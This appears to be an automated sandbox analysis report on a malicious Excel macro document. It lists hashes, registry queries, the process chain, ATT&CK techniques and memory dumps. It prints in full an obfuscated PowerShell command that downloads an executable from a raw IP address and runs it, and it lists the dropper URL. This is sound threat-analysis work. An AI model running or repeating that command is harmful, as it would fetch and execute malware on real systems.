5bdcd9abfa76950e64c08ca22b48f47208242b52aeb6313a7c1d6fb5060aa60b

General

Target

171ee99567663e68f16fc3e7d7052eacfcd87d6ac9b4f3b32a69e5aca4b583b9.xls
Size

384KB
MD5

84cab514832f4ebf26b96fdaeb24b4fc
SHA1

06963848a2ba5fb76131b55926efed986bd28294
SHA256

171ee99567663e68f16fc3e7d7052eacfcd87d6ac9b4f3b32a69e5aca4b583b9
SHA512

c244df05c39b9ea79f70f440b944845d12b2e2f13b3e62a47d647e1c86b8612693b9485af05bfd4ddffa53d55e87ff620731321ee27f8667c1b625e86fc47842

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://18.195.143.183/8/8/ENP_5080010136520.exe

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	2736	2392	cmd.exe	EXCEL.EXE

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2392 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3848 powershell.exe
3848 powershell.exe
3848 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3848 powershell.exe

pid	process
3848	powershell.exe
3848	powershell.exe
3848	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3848	powershell.exe

Suspicious use of SetWindowsHookEx 15 IoCs

Processes:

EXCEL.EXE

pid	process
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE
2392	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 2392 wrote to memory of 2736	2392	EXCEL.EXE	cmd.exe
PID 2392 wrote to memory of 2736	2392	EXCEL.EXE	cmd.exe
PID 2736 wrote to memory of 3848	2736	cmd.exe	powershell.exe
PID 2736 wrote to memory of 3848	2736	cmd.exe	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\171ee99567663e68f16fc3e7d7052eacfcd87d6ac9b4f3b32a69e5aca4b583b9.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2392

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Documents\himselfdespite.cmd" "
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2736

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hi sleep -Se 31;Start-BitsTransfer -Source htt`p://18.195.143.183/8/8/ENP_5080010136520.e`xe -Destination C:\Users\Public\Documents\humandespite.e`xe;C:\Users\Public\Documents\humandespite.e`xe
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3848

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Public\Documents\himselfdespite.cmd
MD5
b405d0a155b0f30125dac9c89b41ddc5

SHA1
d9d01027acd3ed1538b17494354bbc803a266703

SHA256
42c8a5b1d4ceb090f9ba8f4430be234056294e1e8b12ce4fdb36d7a3aa00e2ed

SHA512
fc7e459383f76f5d8491a17e44f56ff9217c28025b020816b9d54d1b8798e068adb77a32b4f42fb6380457a167eb139d974d43e9eded5e37bf670bd68e0fbe29

Download Submit
memory/2392-118-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/2392-116-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/2392-115-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/2392-119-0x000001A305FE0000-0x000001A305FE2000-memory.dmp

Filesize
8KB

Download
memory/2392-120-0x000001A305FE0000-0x000001A305FE2000-memory.dmp

Filesize
8KB

Download
memory/2392-121-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/2392-122-0x000001A305FE0000-0x000001A305FE2000-memory.dmp

Filesize
8KB

Download
memory/2392-117-0x00007FF8E37B0000-0x00007FF8E37C0000-memory.dmp

Filesize
64KB

Download
memory/2736-269-0x0000000000000000-mapping.dmp

Download
memory/3848-272-0x0000000000000000-mapping.dmp

Download
memory/3848-285-0x000001DA1C890000-0x000001DA1C892000-memory.dmp

Filesize
8KB

Download
memory/3848-286-0x000001DA1C893000-0x000001DA1C895000-memory.dmp

Filesize
8KB

Download
memory/3848-404-0x000001DA1C896000-0x000001DA1C898000-memory.dmp

Filesize
8KB

Download
memory/3848-412-0x000001DA1C898000-0x000001DA1C899000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads